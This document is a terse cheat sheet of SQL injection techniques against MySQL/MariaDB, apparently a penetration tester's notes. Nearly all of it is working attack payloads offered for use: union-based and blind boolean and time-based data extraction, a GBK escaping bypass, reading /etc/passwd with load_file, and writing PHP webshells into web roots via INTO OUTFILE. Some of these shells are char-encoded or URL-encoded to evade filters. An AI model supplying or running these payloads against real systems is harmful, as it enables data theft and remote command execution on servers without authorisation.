Connecting

mysql -h xx -u root
(add -p if password needed. Use 127.0.0.1, not locahost then use -P to specify port)

Querying / Exploiting

For MySQL/MSSQL: select @@version can return the version, others will error

%09 can be used in case space is filtered. Of course comments can also.

\xBF' or URL encoded %bf%27 to create a single quote that won’t be escaped properly. (only in GBK) Example: admin%bf%27%20or%201=1%20--+

sleep(5) will delay 5 seconds

check can how many columns: order by x, keep on increasing until error. last number will be number of columns

Concatenating (concatenate put 2 together, group concatenate put all the values in one column as one): concat(name1,":",name2) or group_concat(column_name)

To comment, use xx--
(got space in the end, important)

Show all databases: select schema_name from information_schema.schemata;
OR show databases;
show the database in the current one: select database()

Show the table name and which database it is from, for a database call xx: select table_name, table_schema from information_schema.tables where table_schema='xx'

Show the column name if table name is yy: select column_name,table_schema from information_schema.columns where table_name='yy'

Finally to retrieve the info use select bb, cc from xx.yy

See which user logged in: select user()

Check if got superuser privilege: select super_priv from mysql.user where user="xx"

Check privilege in detailed: select grantee, privilege_type from information_schema.user_privileges

Read file from OS: select load_file("/etc/passwd")
(Can attempt to load the current php page to disclose sensitive info using default path like /var/www/html/xx.php) USE DOUBLE SLASH FOR WINDOWS IF FAIL

Check secure file privileges: SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
(Empty=can read/write everywhere. If got a folder name means only read/write from there. NULL=read/write nowhere)

Write file into OS (must have FILE privilege, secure_file_priv not enabled, and write access to the server): select "xxx" into outfile "/var/html/www/test.php"
(c:/xampp/htdocs/ can try too) USE DOUBLE SLASH FOR WINDOWS IF FAIL

For example to write webshell, can use
select "", "<?php system($_REQUEST[0]); ?>","" into outfile "/var/www/html/test.php"

One example of full writing webshell to Windows (bypassing waf/encoding):
UNION SELECT char(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,82,69,81,85,69,83,84,91,48,93,41,59,32,63,62) INTO OUTFILE "C:\\wamp\\www\\PHP\\shell1.php"

Another webshell example tested on MariaDB using the encoded version:
Text: ' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php' --
Encoded: %27+UNION+SELECT+%28%22%3C%3Fphp+echo+passthru%28%24_GET%5B%27cmd%27%5D%29%3B%22%29+INTO+OUTFILE+%27C%3A%2Fxampp%2Fhtdocs%2Fcmd.php%27+--+

Blind boolean based: First still try to establish the number of columns (order by x/union select null,null..). Once established, use the following (if eg previously is 3 columns) to get database name: union select null,null,null where database() like '%';--
after that union select null,null,null where database() like 'a%';--
and keep on until you get database name.
To get table name, use union select null,null,null from information_schema.tables where table_schema = 'dbname' and table_name like 'a%';--
Finally to get column name, use union select null,null,null from information_schema.columns where table_schema='dbname' and table_name='tablename' and column_name like 'a%';--
To remove as there are multiple columns, use union select null,null,null from information_schema.columns where table_schema='dbname' and table_name='tablename' and column_name like 'a%' and column_name!='notthis';--
After getting all details, use the following to extract the information union select 1,2,3 from dbname.tablename where columnname like 'a%';--
Repeat for multiple column names.

Blind time based: Almost same as blind boolean. First establish number of columns while setting one of them to sleep(5), and keep on adding until you get a different response time which means that is the correct number of columns. Example: union select sleep(5),null;-- . After that just follow blind boolean based.